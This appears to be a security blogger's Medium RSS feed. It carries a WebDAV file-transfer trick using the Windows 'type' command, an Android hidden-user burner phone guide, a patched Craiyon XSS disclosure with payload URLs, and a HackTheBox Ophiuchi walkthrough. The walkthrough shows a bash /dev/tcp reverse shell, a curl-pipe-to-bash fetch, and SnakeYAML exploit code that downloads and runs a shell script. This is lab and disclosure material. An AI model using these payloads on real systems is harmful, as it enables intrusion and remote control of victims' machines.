<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Mr. 0range on Medium]]></title>
        <description><![CDATA[Stories by Mr. 0range on Medium]]></description>
        <link>https://medium.com/@mr-0range?source=rss-e854fc463eb5------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*svMNWSYdLt7pC01Jw9dPbg.jpeg</url>
            <title>Stories by Mr. 0range on Medium</title>
            <link>https://medium.com/@mr-0range?source=rss-e854fc463eb5------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 24 Nov 2026 04:18:38 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@mr-0range/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[A New LOLBin? Using the Windows Type Command to Upload/Download Files]]></title>
            <link>https://mr-0range.medium.com/a-new-lolbin-using-the-windows-type-command-to-upload-download-files-81d7b6179e22?source=rss-e854fc463eb5------2</link>
            <guid isPermaLink="false">https://medium.com/p/81d7b6179e22</guid>
            <category><![CDATA[web-development]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[windows]]></category>
            <dc:creator><![CDATA[Mr. 0range]]></dc:creator>
            <pubDate>Tue, 13 Dec 2022 23:55:26 GMT</pubDate>
            <atom:updated>2022-12-13T23:55:26.220Z</atom:updated>
            <content:encoded><![CDATA[<h4>The forgotten functionality between the Type command and WebDAV</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ehFcVybNJW-nLJoQNiFgJw.png" /></figure><h4>Displaying the Basics</h4><p>The type command is one of the fundamental built-in commands within the Windows command line, being integrated into MS-DOS version 1 in 1983. Its primary function is to display the contents of a file, although displaying binary files will result in non-human readable output.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/366/1*hBIcD3fmqUTtZX8hvsLYUA.png" /><figcaption>Displaying the contents of file.txt</figcaption></figure><p>The functionality of type can be expanded by incorporating redirect operators, for example copying a file by redirecting the output of type into a new file:</p><pre>type C:\Users\Example\Desktop\file.txt &gt; C:\Users\Example\Downloads\copy.txt</pre><p>It can also be used to display the contents of a text file that is stored on a network file share. This works identically as using it to display the contents of a locally stored text file. To use the type command with a network file share, specify the path to the file on the network share, using the following format:</p><pre>type \\server\share\file.txt</pre><p>This will display the contents of the file named file.txt that is stored on the network share \\server\share\. Redirect operators can also be used with network file shares. In order to access a network file share using the type command, a user will need to have the appropriate permissions to access the specified share and file. If the user does not have the necessary permissions, the type command will fail with an error message.</p><h4>What is WebDAV?</h4><p>WebDAV, web distributed authoring and versioning, is an HTTP based file management protocol which supports the collaborative reading and writing of files on a webserver created in 1996. WebDAV has several unique HTTP methods, expanding on the standard GET, POST, etc with PROPFIND (property find), PROPPATCH (property patch), and UNLOCK. Today it is only utilized in limited scenarios, and is generally considered deprecated.</p><p>Any web browser can interact with a WebDAV server by entering the WebDAV server address as a URL. Like SMB, Windows also supports the mapping of a WebDAV server as a network drive using net use.</p><pre>net use Z: \\webdav-server\share /user:username password</pre><h4>Combining Concepts</h4><p>While the type command does not support any authentication options, a WebDAV server can be set to anonymous authentication with read and write permissions allowing anyone to modify or upload files. Furthermore the net use command and drive mapping is not necessary to utilize a WebDAV share. This creates a situation where is it possible to copy files to and from a remote WebDAV server with the type command.</p><p>Setting up a WebDAV server is simple with <a href="https://github.com/mar10/wsgidav">WsgiDAV</a> in python. Set the host to localhost with 0.0.0.0 and the port to 80. It is important that port 80 is used as Windows by default sends a PROPFIND request to WebDAV servers on either port 80 or 443 (HTTPS). Specify the location of the root directory with — root=/tmp and set the authentication to anonymous with --auth=anonymous.</p><pre>wsgidav --host=0.0.0.0 --port=80 --root=/tmp --auth=anonymous</pre><p>Download syntax:</p><pre> type \\webdav-server\folder\file.ext &gt; C:\Path\file.ext</pre><p>Upload syntax:</p><pre>type C:\Path\file.ext &gt; \\webdav-server\folder\file.ext</pre><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*ehFcVybNJW-nLJoQNiFgJw.png" /><figcaption>Examples of downloading and uploading calc.exe with type</figcaption></figure><p>If the type command attempts to read a file from a standard webserver instead of a WebDAV server, it will still send the PROPFIND method, however, the web server will not be able to interpret the request and log a 501 error. This could provide a limited one-way channel for communication by encoding messages in the type command URI and logging those requests.</p><h4>Limitations</h4><p>This technique is not particularly unique, with many other <a href="https://lolbas-project.github.io/#">LOLBins (living off of the land binaries)</a> documenting the file transfer possibilities between Windows and WebDAV. For years threat actors have used WebDAV as both a method to deploy malware and exfiltrate files, in response security product vendors and blue teams have created tools and policies to prevent the malicious use of WebDAV. Simply blocking all incoming and outgoing PROPFIND requests renders many WebDAV interactions moot. However, with WebDAV becoming another forgotten protocol that Windows continues to support these techniques may find utility once again.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=81d7b6179e22" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Smoke Signals: Creating a Virtual Burner Phone]]></title>
            <link>https://mr-0range.medium.com/smoke-signals-creating-a-virtual-burner-phone-fddcd0d01861?source=rss-e854fc463eb5------2</link>
            <guid isPermaLink="false">https://medium.com/p/fddcd0d01861</guid>
            <category><![CDATA[android]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[osint]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Mr. 0range]]></dc:creator>
            <pubDate>Mon, 05 Dec 2022 22:33:39 GMT</pubDate>
            <atom:updated>2022-12-07T20:39:23.020Z</atom:updated>
            <content:encoded><![CDATA[<h3>Smoke Signals: Creating a Virtual Burner Phone on Android (Updated)</h3><p>Updated on 12/7/22 with full writeup</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*yUMd3aUhUdFhk95n" /><figcaption>Originally made for Operation Safe Escape at TraceLabs OSINT CTF 2022</figcaption></figure><p>A guide on creating a cost effective and quickly disposable VoIP phone that is hidden within a secondary user on Android devices for emergency covert communication.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FyPeeQHVTRLs%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DyPeeQHVTRLs&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FyPeeQHVTRLs%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/3600f10ded085f18cb31e86cb5a3699e/href">https://medium.com/media/3600f10ded085f18cb31e86cb5a3699e/href</a></iframe><p>Disclaimer: this guide is for educational and safety purposes only. Please use at your own risk and consult the applicable laws and regulations in your region.</p><h3>Privacy-Free Family Plans</h3><p>Joint cell phone plans are increasingly being used to monitor the <a href="https://nixdell.com/papers/stalkers-paradise-intimate.pdf">communications of domestic abuse victims</a>. Abusers who hold the phone plan have the ability to view call logs, outgoing SMS message recipient numbers, access to voicemail, and even location data depending on the carrier. These individuals often lack privacy, money, and a safe channel for communication and resources.</p><h3>Burn Notice: What is a burner?</h3><p>A burner phone, also known as a “burner”, is a disposable temporary phone often used for discrete communication. These phones are ideally prepaid devices purchased in cash to avoid leaving a paper trail and maximize their user’s privacy. Although in popular media they are often used for illicit activities, they can provide a valuable private secondary channel of communication for individuals in hostile environments.</p><p>A variation of the burner phone is a burner SIM card. These prepaid SIM cards will work in most unlocked devices and are cheaper than a burner phone. Many modern smartphones can also utilize multiple SIM cards simultaneously.</p><p>However, traditional burner phones are not ideal for every situation. The cost of burner phones has increased considerably with the popularization of smartphones, with many prepaid plans also requiring a credit card for activation. Those with limited resources may find that investing $100 or more for a disposable device may be infeasible. Juggling between multiple phones can also be cause for suspicion.</p><h3>Going Virtual</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*pGZcpHk0_OM9H6WZtIh61A.png" /></figure><p>Instead of flipping between multiple devices (or SIM cards), an individual can switch between multiple users on a single Android device, with each user having their own sandboxed environment, creating a pseudo virtual burner phone with a VoIP app. This allows an individual to effectively hide in plain sight, with none of their communication reflected to their primary carrier. With the added benefit of quickly disposing of the virtual burner with a tap of a button and being extremely cost effective.</p><p>No solution is flawless, as there are several notable limitations to this method:</p><ul><li>This will not work on IOS or carrier locked devices</li><li>Certain settings/features are disabled for the secondary user account</li><li>Unsuited for law enforcement evasion</li><li>Cannot be used with services which prohibit VoIP numbers</li><li>Requires a data/wifi connection</li></ul><h3>Tutorial</h3><p>Set aside 15–30 minutes in a private place to set up the phone and VoIP app.</p><h4>Required Supplies</h4><ul><li>Unlocked Android phone</li><li>$12-$27 in cash</li><li>$2 Mint Mobile trial (Purchasable at most major big box retailers)</li><li>$10-$25 Google Play Store gift card</li></ul><h4>Creating a Stealthy Splinter User</h4><ol><li>Go to settings and select “System”</li><li>Open “Multiple Users” and enable</li><li>Add new user and allow calls/sms</li><li>Rename “Admin” to “System”</li><li>Use a screenshot of the Settings page to set the thumbnail of the “System” user as an icon</li></ol><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2F8aYL31-hJS8%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3D8aYL31-hJS8&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/37cf36199178852da9b2f281c8068cd3/href">https://medium.com/media/37cf36199178852da9b2f281c8068cd3/href</a></iframe><h4>Swapping SIMs</h4><ol><li>Open the package and use the provided tool to insert the new SIM card into the phone</li><li>Ignore the new voicemail, it will not be reflected on the billing call record</li><li>Save the original SIM card</li><li>Connect to wifi</li></ol><h4>Hopping Between Users</h4><ul><li>You can switch between users by pulling down the Settings panel and selecting the “icon”, chosen before, at the bottom</li><li>The phone will always boot into the original admin user</li><li>Notifications, excluding calls/sms from your carrier, are only displayed to the user you are currently logged in to</li></ul><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FxPak65vlu4k%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DxPak65vlu4k&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FxPak65vlu4k%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/0b796f0f3fd057355b79e02a7e994a22/href">https://medium.com/media/0b796f0f3fd057355b79e02a7e994a22/href</a></iframe><h4>Minting a Burner</h4><ol><li>Switch to new user and set up new Gmail account (do not add phone number)</li><li>Download Mint Mobile app from the Google Play Store</li><li>Open app and select “Activate Sim”</li><li>Enter the activation code on the Mint Mobile packaging</li><li>Set up an account with the new Gmail address</li><li>If you received the welcome SMS and voicemail ignore the data network setup message</li><li>Trial activated</li></ol><h4>Setting Up VoIP</h4><ol><li>Add gift card to second user’s Google Play Store balance</li><li>Download <a href="https://play.google.com/store/apps/details?id=com.adhoclabs.burner&amp;hl=en_US&amp;gl=US&amp;pli=1">“Burner” app</a> (or your VoIP app of choice)</li><li>Set up “Burner” app and verify the account with the Mint Mobile number</li><li>Choose a number</li><li>Buy a monthly plan with the Google Play Store balance</li></ol><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2F2TubQ-IF3_w%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3D2TubQ-IF3_w&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/a6e099dcebeaf8e776bd459f0004db37/href">https://medium.com/media/a6e099dcebeaf8e776bd459f0004db37/href</a></iframe><h4>Why VoIP?</h4><p>The Mint Mobile Trial number is only for verifying a VoIP account (juggling dual SIMs is not ideal). Most VoIP apps are free or inexpensive and with a secondary user they will not leak notifications to the other android account unlike traditional phone calls or SMS messages. It is important to note that Minit Mobile Trial numbers are unable to activate Google Voice accounts.</p><h4>Hiding the Trail</h4><ol><li>Delete any SMS/Voicemails received through the Mint service</li><li>Swap back to the original SIM</li><li>Change the secondary user’s wallpaper to match the original user</li></ol><h4>Leave Nothing But Ashes</h4><p>If the situation arises, quickly delete the second user and their data.</p><ol><li>Sign into the admin user account</li><li>Navigate to “Multiple Users” settings</li><li>Select the second user and “Delete User”</li><li>Disable “Allow Multiple Users”</li></ol><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FfnnMfP8WD6w%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DfnnMfP8WD6w&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FfnnMfP8WD6w%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/98c06c184a5b18fbfe070de77f9944c3/href">https://medium.com/media/98c06c184a5b18fbfe070de77f9944c3/href</a></iframe><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fddcd0d01861" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Caiyon.com (Dall-E Mini) Reflected XSS Vulnerability]]></title>
            <link>https://mr-0range.medium.com/caiyon-com-dall-e-mini-reflected-xss-vulnerability-d53480236f25?source=rss-e854fc463eb5------2</link>
            <guid isPermaLink="false">https://medium.com/p/d53480236f25</guid>
            <category><![CDATA[ai]]></category>
            <category><![CDATA[exploitation]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[Mr. 0range]]></dc:creator>
            <pubDate>Sun, 06 Nov 2022 17:49:53 GMT</pubDate>
            <atom:updated>2022-11-07T17:07:56.764Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*V7e3_KPwV6B86czhrREAtQ.png" /></figure><h3>Summary</h3><p>The unvalidated input of the “prompt” URL parameter for the Craiyon image generator is vulnerable to client side reflected cross-site scripting (XSS), allowing an attacker to inject browser executable code into the URL.</p><p>Disclosed on 10/17/22 to Craiyon Team; Patched on 10/19/22 by Boris Dayma (<a href="https://twitter.com/borisdayma">@borisdayma</a>)</p><h3>Vulnerable URL Parameter</h3><p>Normal usage: <a href="https://www.craiyon.com/?prompt=example">https://www.craiyon.com/?prompt=example</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/977/0*LZwgaPSt6ChcYq4S" /></figure><h3>Proof of Concept</h3><p>The exploit does not require obfuscation and can execute any javascript provided in the parameter, including loading malicious scripts from third party websites.</p><p><strong>Reflected XSS Alert Example</strong></p><p>Reflected XSS alert payload: &lt;img src=x onerror=alert(document.domain);&gt;</p><p>Reflected XSS alert URL: <a href="https://www.craiyon.com/?prompt=%3Cimg%20src=x%20onerror=alert(document.domain);%3E">https://www.craiyon.com/?prompt=%3Cimg%20src=x%20onerror=alert(document.domain);%3E</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/816/0*cupm-T9Ua2WEcyVq" /></figure><p><strong>Reflected XSS Iframe Example</strong></p><p>Reflected XSS iframe payload: &lt;iframe src=”https://www.wikipedia.org/&quot;&gt;&lt;/iframe&gt;</p><p>Reflected XSS iframe URL: <a href="https://www.craiyon.com/?prompt=%3Ciframe%20src=%22https://www.wikipedia.org/%22%3E%3C/iframe%3E">https://www.craiyon.com/?prompt=%3Ciframe%20src=%22https://www.wikipedia.org/%22%3E%3C/iframe%3E</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/939/0*B67SzwXw5hGsz5X2" /></figure><h3>Impact</h3><p>Reflected XSS can modify and view any information the user has access to in the browser. An attacker can craft a malicious link that will allow the following:</p><ul><li>Cookie stealing</li><li>Arbitrary requests</li><li>Malicious service worker installation</li><li>Malicious downloads</li><li>Execute malicious scripts</li></ul><h3>Remediation</h3><p>Validation of user input to ensure only accepted characters are passed through the web application and encoding of HTML metacharacters to their corresponding HTML entities can prevent XSS vulnerabilities. Web application firewalls can provide an additional layer of security by filtering malicious characters and payloads.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d53480236f25" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB Ophiuchi Walkthrough (No Metasploit)]]></title>
            <link>https://mr-0range.medium.com/htb-ophiuchi-walkthrough-no-metasploit-c1b585ee61f2?source=rss-e854fc463eb5------2</link>
            <guid isPermaLink="false">https://medium.com/p/c1b585ee61f2</guid>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[tutorial]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Mr. 0range]]></dc:creator>
            <pubDate>Sun, 04 Jul 2021 16:57:49 GMT</pubDate>
            <atom:updated>2021-07-09T21:05:02.328Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xeJLKOBDt3GI3QLyrshTPg.jpeg" /></figure><p>This box presents a great opportunity to understand the importance of staging exploits and reading the supporting documents for <em>alien</em> (Ophiuchi is a binary star system) technologies. Ophiuchi is best suited for beginners transitioning to adept, everything needed to root the box is Google-able but enumeration is key.</p><h3>Machine Info</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/353/1*0IMzQ8geJdzGDBUsNAEA_A.png" /></figure><p>Box Name: Ophiuchi</p><p><a href="https://app.hackthebox.eu/machines/Ophiuchi">HTB Link</a></p><p>Difficulty: Medium</p><p>Target IP: 10.10.10.227</p><h3>Reconnaissance</h3><h4><strong>Scoping Out the Target</strong></h4><p>Start an <a href="https://nmap.org/book/man.html">nmap</a> scan to see what ports are open and possible services running on them.</p><pre>nmap -A -sC -Pn -p- -oN 2-scans/nmap-1  10.10.10.227</pre><ul><li>-A enables OS detection, version detection, script scanning, and traceroute</li><li>-sC enables default <a href="https://nmap.org/book/man-nse.html">NSE scripts</a> and TCP-Connect scan type</li><li>-Pn disables ping (most HTB machines do not respond to pings and may give a false-positive for host offline)</li><li>-p- scans all ports (by default nmap only scans commonly used ports)</li><li>-oN enables output to file (in this case the N option specifies all nmap file type) with a specified directory/file name</li></ul><blockquote>Quick Tip: while a nmap scan is running hit v to increase verbosity and see open ports as they are discovered</blockquote><p>Nmap Results:</p><pre>Nmap scan report for 10.10.10.227<br>Host is up (0.067s latency).<br>Not shown: 65533 closed ports<br>PORT     STATE SERVICE VERSION<br>22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey:<br>|   3072 6d:fc:68:e2:da:5e:80:df:bc:d0:45:f5:29:db:04:ee (RSA)<br>|   256 7a:c9:83:7e:13:cb:c3:f9:59:1e:53:21:ab:19:76:ab (ECDSA)<br>|_  256 17:6b:c3:a8:fc:5d:36:08:a1:40:89:d2:f4:0a:c6:46 (ED25519)<br>8080/tcp open  http    Apache Tomcat 9.0.38<br>|_http-title: Parse YAML<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel</pre><pre>Service detection performed. Please report any incorrect results at <a href="https://nmap.org/submit/">https://nmap.org/submit/</a> .<br># Nmap done at Sat Jun 19 19:05:27 2021 -- 1 IP address (1 host up) scanned in 47.70 seconds22 | OpenSSH 8.2</pre><ul><li>8080 | Apache Tomcat 9.0.38</li></ul><blockquote>Quick Tip: it is highly recommended to Google any service version you see displayed in a nmap scan to find any vulnerabilities for an easy foothold. Documenting all findings is key to the penetration process. This is part of the enumeration process but will not be covered in this tutorial.</blockquote><h4><strong>Enumerating the Webserver</strong></h4><p>Inspect the webserver on port 8080, in the browser go to <a href="http://10.10.10.227:8080/">http://10.10.10.227:8080</a></p><figure><img alt="Interesting Yaml Parser" src="https://cdn-images-1.medium.com/max/677/1*xVH_MLhEl2onHrqBMg9ipw.png" /></figure><p><strong>YAML </strong>is a human readable serialization language used as a format for configuration files and can be viable replacement for languages like JSON. Learn more about YAML <a href="https://www.cloudbees.com/blog/yaml-tutorial-everything-you-need-get-started">here</a>.</p><p>Attempting to parse anything results in an error page.</p><figure><img alt="YAML Parser Error Redirect" src="https://cdn-images-1.medium.com/max/688/1*J2ZoTy8qeLn2tEjZgQfH2A.png" /></figure><blockquote>Quick Tip: error pages are an important part of information disclosure during a penetration test. They can contain software versions, error codes that can be searched, and developer comments.</blockquote><p>Before diving into the web application error, it is important to enumerate the root directory further with a brute force directory scanner like <a href="https://github.com/OJ/gobuster">gobuster</a> and explore other vulnerability avenues with web vulnerability scanner like <a href="https://cirt.net/Nikto2">Nikto</a>.</p><h4><strong>Fuzzing for Finds</strong></h4><p>Inspecting and intercepting error messages from the YAML parser may discover a possible foothold. Use Burp Suite Community Edition (Burp) to intercept and repeat post requests to find interesting results.</p><blockquote>Quick Tip: Burp Suite is the cornerstone of web application penetration testing. Launching Burp directly in Kali one can either use Burp’s built in browser to intercept web requests or configure a proxy in the browser. Learn how to set up a browser proxy <a href="https://portswigger.net/burp/documentation/desktop/getting-started/proxy-setup/browser">here</a>.</blockquote><p>Enable the Firefox browser plugin proxy (in this case <a href="https://addons.mozilla.org/en-US/firefox/addon/foxyproxy-standard/">FoxyProxy</a>) and launch Burp. Disable intercept under the “<em>Proxy</em>” tab in Burp and submit a test string into the YAML parser.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/280/1*jMSoinpMk3vUp_XJY-VfqA.png" /></figure><p>Inspect the POST request in Burp under the “<em>HTTP History</em>” sub-tab.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/332/1*_U-fulDrrUpAe71SQe_K3w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/964/1*Xn4tyZAPKSFwud8sUezLaw.png" /><figcaption>A close up of a POST request</figcaption></figure><p>While still selecting the POST request hit CTRL+R to send the request to the “<em>Repeater</em>” tab. The repeater function of Burp allows you to modify web requests and send them back to a server to inspect the response. This allows one to bypass any client-side input sanitation, thus leaving any data sanitation up to the server.</p><p>In the “<em>data</em>” field add a ` (backtick) and send the request; it is a unique character in many scripting languages and can cause errors when passed to an application.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/955/1*IqYJtup75ECDXWPHhYObpg.png" /><figcaption>HTTP Status 500</figcaption></figure><p>Inspecting the error response further, the version of the YAML parser can be found.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/517/1*QLeAtInFbV0lZj6UyZic3g.png" /><figcaption>snakeyaml</figcaption></figure><p>Googling for “<em>snakeyaml exploit</em>” returns the following <a href="https://swapneildash.medium.com/snakeyaml-deserilization-exploited-b4a2c5ac0858">Deserilization RCE Exploit</a> tutorial by <a href="https://medium.com/u/c11be821da1e">Swapneil Kumar Dash</a>. Read for a detailed explanation of how the exploit works.</p><h3>Getting Remote Code Execution</h3><h4><strong>Setting a Snake Trap</strong></h4><p>When the payload is submitted to the YAML parser, the parser’s ScriptEngineManager constructor will make a request to “<em>MERA-INF/services/javax.script.ScriptEngineFactory</em>” endpoint on the attacker’s webserver. The “<em>javax.script.ScriptEngineFactory” </em>will point to a malicious java <em>.class</em> (compiled <em>.java</em> file) file which will execute java code when ran.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*AGT9oznYMLwVIx-z.png" /><figcaption>Image from <a href="https://medium.com/u/c11be821da1e">Swapneil Kumar Dash</a> <a href="https://swapneildash.medium.com/snakeyaml-deserilization-exploited-b4a2c5ac0858">Tutorial</a></figcaption></figure><p>To simplify the staging process, clone the exploit and directory layout from <a href="https://github.com/artsploit/yaml-payload">Artsploit</a>.</p><pre>git clone <a href="https://github.com/artsploit/yaml-payload">https://github.com/artsploit/yaml-payload</a></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/502/1*sYKzMOU9MQ5gcOvQoWZqTA.png" /><figcaption>Default directory layout</figcaption></figure><p>To get a shell, the malicious <em>.class</em> file will download a reverse shell srcipt being hosted on the attacker’s webserver and execute the script on the target machine. In the “<em>src</em>” directory create the following reverse shell.</p><pre>echo &quot;bash -i &gt;&amp; /dev/tcp/10.10.14.14/9991 0&gt;&amp;1&quot; &gt; yaml-payload/src/rv.sh</pre><blockquote>Quick Tip: The attacker host IP can be found by running the command ip a under the tun0 vpn interface (inet ip address)</blockquote><p>Edit the “<em>AwesomeScriptEngineFactory.java”</em> with preferred text editor (once compiled it will be the <em>.class</em> file) to add the instructions to download the reverse shell with <a href="https://curl.se/">curl</a>.</p><pre>nano yaml-payload/src/artsploit/AwesomeScriptEngineFactory.java</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/781/1*O_SSbrkiY1xlgKd7exSjsQ.png" /><figcaption>Default script</figcaption></figure><p>Add curl <a href="http://10.10.14.14/rv.sh">http://10.10.14.14/rv.sh</a> | /bin/bash into the Runtime.getRuntime().exec. This reverse shell deployment is useful when the directory it is being downloaded into does not have known write permissions.</p><ul><li>curl downloads the shell but writes to standard output instead of a file</li><li>| pipes the curl output directly into the bash shell to be executed without writing the script to the directory</li><li>/bin/bash is the path to the bash shell</li></ul><pre>package artsploit;</pre><pre>import javax.script.ScriptEngine;<br>import javax.script.ScriptEngineFactory;<br>import java.io.IOException;<br>import java.util.List;</pre><pre>public class AwesomeScriptEngineFactory implements ScriptEngineFactory {</pre><pre>public AwesomeScriptEngineFactory() {<br>        try {<br>            Runtime.getRuntime().exec(&quot;curl <a href="http://10.10.14.14/rv.sh">http://10.10.14.14/rv.sh</a> | /bin/bash&quot;);<br>        } catch (IOException e) {<br>            e.printStackTrace();<br>        }<br>    }</pre><pre><a href="http://twitter.com/Override">@Override</a><br>    public String getEngineName() {<br>        return null;<br>    }</pre><pre><a href="http://twitter.com/Override">@Override</a><br>    public String getEngineVersion() {<br>        return null;<br>    }</pre><pre><a href="http://twitter.com/Override">@Override</a><br>    public List&lt;String&gt; getExtensions() {<br>        return null;<br>    }</pre><pre><a href="http://twitter.com/Override">@Override</a><br>    public List&lt;String&gt; getMimeTypes() {<br>        return null;<br>    }</pre><pre><a href="http://twitter.com/Override">@Override</a><br>    public List&lt;String&gt; getNames() {<br>        return null;<br>    }</pre><pre><a href="http://twitter.com/Override">@Override</a><br>    public String getLanguageName() {<br>        return null;<br>    }</pre><pre><a href="http://twitter.com/Override">@Override</a><br>    public String getLanguageVersion() {<br>        return null;<br>    }</pre><pre><a href="http://twitter.com/Override">@Override</a><br>    public Object getParameter(String key) {<br>        return null;<br>    }</pre><pre><a href="http://twitter.com/Override">@Override</a><br>    public String getMethodCallSyntax(String obj, String m, String... args) {<br>        return null;<br>    }</pre><pre><a href="http://twitter.com/Override">@Override</a><br>    public String getOutputStatement(String toDisplay) {<br>        return null;<br>    }</pre><pre><a href="http://twitter.com/Override">@Override</a><br>    public String getProgram(String... statements) {<br>        return null;<br>    }</pre><pre><a href="http://twitter.com/Override">@Override</a><br>    public ScriptEngine getScriptEngine() {<br>        return null;<br>    }<br>}</pre><blockquote><em>Editor’s Note: it has come to my attention the reverse shell call method above does not work for everyone please use the following alternative. Add </em><em>curl </em><a href="http://10.10.14.14/rv.sh"><em>http://10.10.14.14/rv.sh</em></a><em> -o /tmp/rv.sh into the </em><em>Runtime.getRuntime().exec. Followed by </em><em>Runtime.getRuntime().exec(“chmod +x /tmp/rv.sh”); and finally </em><em>Runtime.getRuntime().exec(“bash /tmp/rv.sh”);</em></blockquote><pre>package artsploit;</pre><pre>import javax.script.ScriptEngine;<br>import javax.script.ScriptEngineFactory;<br>import java.io.IOException;<br>import java.util.List;</pre><pre>public class AwesomeScriptEngineFactory implements ScriptEngineFactory {</pre><pre>public AwesomeScriptEngineFactory() {<br>        try {<br>            Runtime.getRuntime().exec(&quot;curl <a href="http://10.10.14.14/rv.sh">http://10.10.14.14/rv.sh</a> -o /tmp/rv.sh&quot;);<br>            Runtime.getRuntime().exec(&quot;chmod +x /tmp/rv.sh&quot;);<br>            Runtime.getRuntime().exec(&quot;bash /tmp/rv.sh&quot;);<br>        } catch (IOException e) {<br>            e.printStackTrace();<br>        }<br>    }</pre><pre><a href="http://twitter.com/Override">@Override</a><br>    public String getEngineName() {<br>        return null;<br>    }</pre><pre><a href="http://twitter.com/Override">@Override</a><br>    public String 